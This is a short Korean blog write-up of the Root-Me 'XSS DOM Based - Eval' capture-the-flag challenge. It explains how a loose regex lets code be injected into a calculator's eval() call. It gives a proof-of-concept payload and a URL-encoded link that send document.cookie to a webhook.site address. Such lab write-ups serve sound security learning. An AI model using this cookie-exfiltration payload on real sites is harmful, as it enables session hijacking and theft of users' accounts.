WEB hacking/rootme

RootMe - XSS DOM Based - Eval WriteUp

Roronoa 2025. 2. 19. 03:03
반응형

문제 풀이

계산기 웹사이트 존재

계산기 웹 사이트

 


사용자의 입력 값이 eval 함수 안에 삽입된 후 그 결과가 innerText로 들어가게 된다.

DOM 형식 처리

 

계산기 입력받는 값에서 정규식이 존재( /^\d+[\+|\-|\*|\/]\d+/)

1. 숫자로 시작

2. 숫자뒤에 +, -, *, / 와야 함

3. 계산식 뒤에 숫자가 와야 함

 

위 정규식에 허점이 존재, 1+1 다음에 아무런 값이 올 수 있음

정규식 존재

 

eval에서 ,를 사용해서 여러개의 자바스크립트 코드 실행이 가능하다.

 

POC

아래 코드 실행 시 webhook사이트로 cookie값을 전송할 수 있다.

eval(1+1, location.href="https://webhook.site/a0a45cf9-b23f-44e7-a80c-0744cad0a729?c=".concat`${document.cookie}`)

 

Contact 부분에 XSS 공격 구문이 담긴 Payload 입력 시 플래그를 확인할 수 있다.

http://challenge01.root-me.org/web-client/ch34/index.php?calculation=1%2B1%2C+location.href%3D%22https%3A%2F%2Fwebhook.site%2Fa0a45cf9-b23f-44e7-a80c-0744cad0a729%3Fc%3D%22.concat%60%24%7Bdocument.cookie%7D%60

flag 확인

반응형

'WEB hacking > rootme' 카테고리의 다른 글

RootMe - XSS - Reflected WriteUp  (0) 2025.02.20
RootMe - Javascript - Obfuscation 3 WriteUp  (0) 2025.02.18